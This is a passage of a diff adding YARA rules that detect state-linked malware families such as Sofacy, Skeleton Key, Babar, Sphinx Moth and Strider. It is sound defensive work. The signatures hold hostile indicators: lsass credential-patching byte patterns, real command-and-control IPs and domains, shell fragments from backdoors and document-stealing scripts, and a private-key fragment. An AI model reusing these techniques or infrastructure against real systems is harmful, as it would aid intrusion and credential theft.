+    $opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
+
+    // Encode loop, single byte XOR
+    $opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }
+
+  condition:
+    4 of them
+}
+
+rule malware_sakula_shellcode {
+  meta:
+    description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
+    author = "David Cannings"
+
+  strings:
+    /*
+      55                      push    ebp
+      89 E5                   mov     ebp, esp
+      E8 00 00 00 00          call    $+5
+      58                      pop     eax
+      83 C0 06                add     eax, 6
+      C9                      leave
+      C3                      retn
+    */
+    // Get EIP technique (may not be unique enough to identify Sakula)
+    // Note this only appears in memory or decoded files
+    $opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
+
+    /*
+      8B 5E 3C                mov     ebx, [esi+3Ch]  ; Offset to PE header
+      8B 5C 1E 78             mov     ebx, [esi+ebx+78h] ; Length of headers
+      8B 4C 1E 20             mov     ecx, [esi+ebx+20h] ; Number of data directories
+      53                      push    ebx
+      8B 5C 1E 24             mov     ebx, [esi+ebx+24h] ; Export table
+      01 F3                   add     ebx, esi
+    */
+    // Export parser
+    $opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }
+
+  condition:
+    any of them
+}
+
+rule ScanBox_Malware_Generic {
+	meta:
+		description = "Scanbox Chinese Deep Panda APT Malware http://goo.gl/MUUfjv and http://goo.gl/WXUQcP"
+		author = "Florian Roth"
+		reference1 = "http://goo.gl/MUUfjv"
+		reference2 = "http://goo.gl/WXUQcP"
+		date = "2015/02/28"
+		hash1 = "8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9"
+		hash2 = "d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d"
+		hash3 = "3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2"
+	strings:
+		/* Sample 1 */
+		$s0 = "http://142.91.76.134/p.dat" fullword ascii
+		$s1 = "HttpDump 1.1" fullword ascii
+
+		/* Sample 2 */
+		$s3 = "SecureInput .exe" fullword wide
+		$s4 = "http://extcitrix.we11point.com/vpn/index.php?ref=1" fullword ascii
+
+		/* Sample 3 */
+		$s5 = "%SystemRoot%\\System32\\svchost.exe -k msupdate" fullword ascii
+		$s6 = "ServiceMaix" fullword ascii
+
+		/* Certificate and Keywords */
+		$x1 = "Management Support Team1" fullword ascii
+		$x2 = "DTOPTOOLZ Co.,Ltd.0" fullword ascii
+		$x3 = "SEOUL1" fullword ascii
+	condition:
+		( 1 of ($s*) and 2 of ($x*) ) or
+		( 3 of ($x*) )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-14
+	Identifier: SeaDuke
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SeaDuke_Sample {
+	meta:
+		description = "SeaDuke Malware - file 3eb86b7b067c296ef53e4857a74e09f12c2b84b666fc130d1f58aec18bc74b0d"
+		author = "Florian Roth"
+		reference = "http://goo.gl/MJ0c2M"
+		date = "2015-07-14"
+		score = 70
+		hash = "d2e570129a12a47231a1ecb8176fa88a1bf415c51dabd885c513d98b15f75d4e"
+	strings:
+		$s0 = "bpython27.dll" fullword ascii
+		$s1 = "email.header(" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "LogonUI.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Crypto.Cipher.AES(" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "mod is NULL - %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+rule CrowdStrike_Shamoon_DroppedFile { 
+	meta:
+		description = "Rule to detect Shamoon malware http://goo.gl/QTxohN"
+		reference = "http://www.rsaconference.com/writable/presentations/file_upload/exp-w01-hacking-exposed-day-of-destruction.pdf"
+	strings:
+		$testn123 = "test123" wide
+		$testn456 = "test456" wide
+		$testn789 = "test789" wide
+		$testdomain = "testdomain.com" wide $pingcmd = "ping -n 30 127.0.0.1 >nul" wide
+	condition:
+		(any of ($testn*) or $pingcmd) and $testdomain
+}
+/* SKELETON KEY ---------------------------------------------------------------------------- */
+
+rule skeleton_key_patcher
+{
+	meta:
+		description = "Skeleton Key Patcher from Dell SecureWorks Report http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		reference = "http://goo.gl/aAk3lN"
+		date = "2015/01/13"
+		score = 70
+	strings:
+		$target_process = "lsass.exe" wide
+		$dll1 = "cryptdll.dll"
+		$dll2 = "samsrv.dll"
+
+		$name = "HookDC.dll"
+
+		$patched1 = "CDLocateCSystem"
+		$patched2 = "SamIRetrievePrimaryCredentials"
+		$patched3 = "SamIRetrieveMultiplePrimaryCredentials"
+	condition:
+		all of them
+}
+
+rule skeleton_key_injected_code
+{
+	meta:
+		description = "Skeleton Key injected Code http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		reference = "http://goo.gl/aAk3lN"
+		date = "2015/01/13"
+		score = 70
+	strings:
+		$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 }
+
+		$patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
+
+		$patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+		$patch_SamIRetrieveMultiplePrimaryCredential  = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+	condition:
+		any of them
+}
+/* SnowGlobe Babar ---------------------------------------------------------- */
+
+rule SNOWGLOBE_Babar_Malware {
+	meta:
+		description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
+		author = "Florian Roth"
+		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+		date = "2015/02/18"
+		hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
+		score = 80
+	strings:
+		$mz = { 4d 5a }
+		$z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
+		$z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
+		$z2 = "ExecQueryFailled!" fullword ascii
+		$z3 = "NBOT_COMMAND_LINE" fullword
+		$z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
+
+		$s1 = "/s /n %s \"%s\"" fullword ascii
+		$s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
+		$s3 = "/c start /wait " fullword ascii
+		$s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
+
+		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
+		$x2 = "%COMMON_APPDATA%" fullword ascii
+		$x4 = "CONOUT$" fullword ascii
+		$x5 = "cmd.exe" fullword ascii
+		$x6 = "DLLPATH" fullword ascii
+	condition:
+		( $mz at 0 ) and filesize < 1MB and
+		(
+			( 1 of ($z*) and 1 of ($x*) ) or
+			( 3 of ($s*) and 4 of ($x*) )
+		)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-04
+	Identifier: Sofacy Malware
+*/
+
+rule Sofacy_Malware_StrangeSpaces {
+	meta:
+		description = "Detetcs strange strings from Sofacy malware with many spaces"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+	strings:
+		$s2 = "Delete Temp Folder Service                                  " fullword wide
+		$s3 = " Operating System                        " fullword wide
+		$s4 = "Microsoft Corporation                                       " fullword wide
+		$s5 = " Microsoft Corporation. All rights reserved.               " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and 3 of them
+}
+
+rule Sofacy_Malware_AZZY_Backdoor_1 {
+	meta:
+		description = "AZZY Backdoor - Sample 1"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb"
+	strings:
+		$s0 = "advstorshell.dll" fullword wide
+		$s1 = "advshellstore.dll" fullword ascii
+		$s2 = "Windows Advanced Storage Shell Extension DLL" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+
+rule Sofacy_AZZY_Backdoor_Implant_1 {
+	meta:
+		description = "AZZY Backdoor Implant 4.3 - Sample 1"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c"
+	strings:
+		$s1 = "\\tf394kv.dll" fullword wide
+		$s2 = "DWN_DLL_MAIN.dll" fullword ascii
+		$s3 = "?SendDataToServer_2@@YGHPAEKEPAPAEPAK@Z" ascii
+		$s4 = "?Applicate@@YGHXZ" ascii
+		$s5 = "?k@@YGPAUHINSTANCE__@@PBD@Z" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule Sofacy_AZZY_Backdoor_HelperDLL {
+	meta:
+		description = "Dropped C&C helper DLL for AZZY 4.3"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6"
+	strings:
+		$s0 = "snd.dll" fullword ascii
+		$s1 = "InternetExchange" fullword ascii
+		$s2 = "SendData"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Sofacy_CollectorStealer_Gen1 {
+	meta:
+		description = "Generic rule to detect Sofacy Malware Collector Stealer"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		super_rule = 1
+		hash1 = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+		hash2 = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+	strings:
+		$s0 = "NvCpld.dll" fullword ascii
+		$s1 = "NvStop" fullword ascii
+		$s2 = "NvStart" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Sofacy_CollectorStealer_Gen2 {
+	meta:
+		description = "File collectors / USB stealers - Generic"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d"
+	strings:
+		$s1 = "msdetltemp.dll" fullword ascii
+		$s2 = "msdeltemp.dll" fullword wide
+		$s3 = "Delete Temp Folder Service" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule Sofacy_CollectorStealer_Gen3 {
+	meta:
+		description = "File collectors / USB stealers - Generic"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		date = "2015-12-04"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+	strings:
+		$s1 = "NvCpld.dll" fullword ascii
+		$s4 = "NvStart" fullword ascii
+		$s5 = "NvStop" fullword ascii
+
+		$a1 = "%.4d%.2d%.2d%.2d%.2d%.2d%.2d%.4d" fullword wide
+		$a2 = "IGFSRVC.dll" fullword wide
+		$a3 = "Common User Interface" fullword wide
+		$a4 = "igfsrvc Module" fullword wide
+
+		$b1 = " Operating System                        " fullword wide
+		$b2 = "Microsoft Corporation                                       " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and
+		( all of ($s*) and (all of ($a*) or all of ($b*)))
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-13
+	Identifier: Sofacy Fysbis
+*/
+
+rule Sofacy_Fybis_ELF_Backdoor_Gen1 {
+	meta:
+		description = "Detects Sofacy Fysbis Linux Backdoor_Naikon_APT_Sample1"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		date = "2016-02-13"
+		score = 80
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+	strings:
+		$x1 = "Your command not writed to pipe" fullword ascii
+		$x2 = "Terminal don`t started for executing command" fullword ascii
+		$x3 = "Command will have end with \\n" fullword ascii
+
+		$s1 = "WantedBy=multi-user.target' >> /usr/lib/systemd/system/" fullword ascii
+		$s2 = "Success execute command or long for waiting executing your command" fullword ascii
+		$s3 = "ls /etc | egrep -e\"fedora*|debian*|gentoo*|mandriva*|mandrake*|meego*|redhat*|lsb-*|sun-*|SUSE*|release\"" fullword ascii
+		$s4 = "rm -f /usr/lib/systemd/system/" fullword ascii
+		$s5 = "ExecStart=" fullword ascii
+		$s6 = "<table><caption><font size=4 color=red>TABLE EXECUTE FILES</font></caption>" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 500KB and 1 of ($x*) ) or
+		( 1 of ($x*) and 3 of ($s*) )
+}
+
+rule Sofacy_Fysbis_ELF_Backdoor_Gen2 {
+	meta:
+		description = "Detects Sofacy Fysbis Linux Backdoor"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
+		date = "2016-02-13"
+		score = 80
+		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
+		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
+		hash3 = "fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61"
+	strings:
+		$s1 = "RemoteShell" ascii
+		$s2 = "basic_string::_M_replace_dispatch" fullword ascii
+		$s3 = "HttpChannel" ascii
+	condition:
+		uint16(0) == 0x457f and filesize < 500KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-14
+	Identifier: Sofacy June 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Sofacy_Jun16_Sample1 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0"
+	strings:
+		$s1 = "clconfg.dll" fullword ascii
+		$s2 = "ASijnoKGszdpodPPiaoaghj8127391" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($s*) ) ) or ( all of them )
+}
+
+rule Sofacy_Jun16_Sample2 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b"
+		hash2 = "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261"
+		hash3 = "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632"
+	strings:
+		$x1 = "DGMNOEP" fullword ascii
+		$x2 = "/%s%s%s/?%s=" fullword ascii
+
+		$s1 = "Control Panel\\Dehttps=https://%snetwork.proxy.ht2" fullword ascii
+		$s2 = "http=http://%s:%Control Panel\\Denetwork.proxy.ht&ol1mS9" fullword ascii
+		$s3 = "svchost.dll" fullword wide
+		$s4 = "clconfig.dll" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and ( all of ($x*) ) ) or ( 3 of them )
+}
+
+rule Sofacy_Jun16_Sample3 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785"
+	strings:
+		$s1 = "ASLIiasiuqpssuqkl713h" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and $s1
+}
+
+rule apt_sofacy_xtunnel {
+    meta:
+        author = "Claudio Guarnieri"
+        description = "Sofacy Malware - German Bundestag"
+        score = 75
+    strings:
+        $xaps = ":\\PROJECT\\XAPS_"
+        $variant11 = "XAPS_OBJECTIVE.dll" $variant12 = "start"
+        $variant21 = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
+        $variant22 = "is you live?"
+        $mix1 = "176.31.112.10"
+        $mix2 = "error in select, errno %d" $mix3 = "no msg"
+        $mix4 = "is you live?"
+        $mix5 = "127.0.0.1"
+        $mix6 = "err %d"
+        $mix7 = "i`m wait"
+        $mix8 = "hello"
+        $mix9 = "OpenSSL 1.0.1e 11 Feb 2013" $mix10 = "Xtunnel.exe"
+    condition:
+        ((uint16(0) == 0x5A4D) or (uint16(0) == 0xCFD0)) and (($xaps) or (all of ($variant1*)) or (all of ($variant2*)) or (6 of ($mix*)))
+}
+
+rule Winexe_RemoteExecution {
+    meta:
+        description = "Winexe tool used by Sofacy group several APT cases"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d"
+        score = 70
+    strings:
+        $s1 = "\\\\.\\pipe\\ahexec" fullword ascii
+        $s2 = "implevel" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule Sofacy_Mal2 {
+    meta:
+        description = "Sofacy Group Malware Sample 2"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092"
+        score = 70
+    strings:
+        $x1 = "PROJECT\\XAPS_OBJECTIVE_DLL\\" ascii
+        $x2 = "XAPS_OBJECTIVE.dll" fullword ascii
+
+        $s1 = "i`m wait" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and ( 1 of ($x*) ) and $s1
+}
+
+rule Sofacy_Mal3 {
+    meta:
+        description = "Sofacy Group Malware Sample 3"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1"
+        score = 70
+    strings:
+        $s1 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" fullword ascii
+        $s2 = ".?AVAgentModuleRemoteKeyLogger@@" fullword ascii
+        $s3 = "<font size=4 color=red>process isn't exist</font>" fullword ascii
+        $s4 = "<font size=4 color=red>process is exist</font>" fullword ascii
+        $s5 = ".winnt.check-fix.com" fullword ascii
+        $s6 = ".update.adobeincorp.com" fullword ascii
+        $s7 = ".microsoft.checkwinframe.com" fullword ascii
+        $s8 = "adobeincorp.com" fullword wide
+        $s9 = "# EXC: HttpSender - Cannot create Get Channel!" fullword ascii
+
+        $x1 = "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/" wide
+        $x2 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/2" wide
+        $x3 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+    condition:
+        uint16(0) == 0x5a4d and filesize < 300KB and (
+            2 of ($s*) or
+            ( 1 of ($s*) and all of ($x*) )
+        )
+}
+
+rule Sofacy_Bundestag_Batch {
+    meta:
+        description = "Sofacy Bundestags APT Batch Script"
+        author = "Florian Roth"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        score = 70
+    strings:
+        $s1 = "for %%G in (.pdf, .xls, .xlsx, .doc, .docx)" ascii
+        $s2 = "cmd /c copy"
+        $s3 = "forfiles"
+    condition:
+        filesize < 10KB and 2 of them
+}
+/*
+    Yara Rule Set
+    Author: Kudelski Security (modified by Florian Roth)
+    Reference: https://www.kudelskisecurity.com/sites/default/files/sphinx_moth_cfc_report.pdf
+    Date: 2015-11-23
+    Identifier: Sphinx Moth
+*/
+
+rule Sphinx_Moth_cudacrt { 
+    meta:
+        description = "sphinx moth threat group file cudacrt.dll" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "HPSSOEx.dll" fullword wide
+        $s1 = "255.255.255.254" fullword wide
+        $s2 = "SOFTWARE\\SsoAuth\\Service" fullword wide
+
+        $op0 = { ff 15 5f de 00 00 48 8b f8 48 85 c0 75 0d 48 8b } /* Opcode */ 
+        $op1 = { 45 33 c9 4c 8d 05 a7 07 00 00 33 d2 33 c9 ff 15 } /* Opcode */ 
+        $op2 = { e8 7a 1c 00 00 83 f8 01 74 17 b9 03 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 243KB and all of ($s*) and 1 of ($op*)
+}
+
+rule Sphinx_Moth_h2t { 
+    meta:
+        description = "sphinx moth threat group file h2t.dat" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)" 
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $x1 = "%s <proxy ip> <proxy port> <target ip> <target port> <cmd> [arg1 cmd] ... [argX cmd]" fullword ascii 
+        
+        $s1 = "[-] Error in connection() %d - %s" fullword ascii
+        $s2 = "[-] Child process exit." fullword ascii
+        $s3 = "POST http://%s:%s/ HTTP/1.1" fullword ascii
+        $s4 = "pipe() to" fullword ascii
+        $s5 = "pipe() from" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 156KB and ($x1 or all of ($s*))
+}
+
+rule Sphinx_Moth_iastor32 { 
+    meta:
+        description = "sphinx moth threat group file iastor32.exe" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "MIIEpQIBAAKCAQEA4lSvv/W1Mkz38Q3z+EzJBZRANzKrlxeE6/UXWL67YtokF2nN" fullword ascii /* private key */
+        $s1 = "iAeS3CCA4wli6+9CIgX8SAiXd5OezHvI1jza61z/flsqcC1IP//gJVt16nRx3s9z" fullword ascii /* private key */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule Sphinx_Moth_kerberos32 {
+    meta:
+        description = "sphinx moth threat group file kerberos32.dll" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $x1 = "%WINDIR%\\ativpsrz.bin" fullword ascii
+        $x2 = "%WINDIR%\\ativpsrn.bin" fullword ascii
+        $x3 = "kerberos32.dll" fullword wide
+        $x4 = "KERBEROS64.dll" fullword ascii
+        $x5 = "kerberos%d.dll" fullword ascii
+
+        $s1 = "\\\\.\\pipe\\lsassp" fullword ascii
+        $s2 = "LSASS secure pipe" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s3 = "NullSessionPipes" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s4 = "getlog" fullword ascii
+        $s5 = "startlog" fullword ascii /* PEStudio Blacklist: strings */
+        $s6 = "stoplog" fullword ascii /* PEStudio Blacklist: strings */
+        $s7 = "Unsupported OS (%d)" fullword ascii /* PEStudio Blacklist: strings */ 
+        $s8 = "Unsupported OS (%s)" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 300KB and (2 of ($x*) or all of ($s*))
+}
+
+rule Sphinx_Moth_kerberos64 { 
+    meta:
+        description = "sphinx moth threat group file kerberos64.dll" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "KERBEROS64.dll" fullword ascii
+        $s1 = "zeSecurityDescriptor" fullword ascii
+        $s2 = "SpGetInfo" fullword ascii
+        $s3 = "SpShutdown" fullword ascii
+        $op0 = { 75 05 e8 6a c7 ff ff 48 8b 1d 47 d6 00 00 33 ff } /* Opcode */ 
+        $op1 = { 48 89 05 0c 2b 01 00 c7 05 e2 29 01 00 09 04 00 } /* Opcode */ 
+        $op2 = { 48 8d 3d e3 ee 00 00 ba 58 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 406KB and all of ($s*) and 1 of ($op*)
+}
+
+rule Sphinx_Moth_nvcplex { 
+    meta:
+        description = "sphinx moth threat group file nvcplex.dat" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+    strings:
+        $s0 = "mshtaex.exe" fullword wide
+        $op0 = { 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 } /* Opcode */ 
+        $op1 = { 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b } /* Opcode */ 
+        $op2 = { 8b ce e8 49 47 00 00 90 8b 43 04 89 05 93 f1 00 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 214KB and all of them
+}/*
+	Yara Rule Set
+	Author: Symantec
+	Date: 2016-08-08
+	Identifier: Strider
+*/
+
+rule remsec_executable_blob_32 {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 31 06 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 F0 }
+   condition:
+      all of them
+}
+
+rule remsec_executable_blob_64 {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { 31 06 48 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 EF }
+   condition:
+      all of them
+}
+
+rule remsec_executable_blob_parser {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
+      reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+   strings:
+      $code = { ( 0F 82 ?? ?? 00 00 | 72 ?? ) ( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 8B | 41 8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | ?C 24 ) 06 }
+   condition:
+      all of them
+}
+
+rule remsec_encrypted_api {
+   meta:
+      copyright = "Symantec"
+      description = "Detects malware from Symantec's Strider APT report"
+      score = 80
+      date = "2016/08/08"
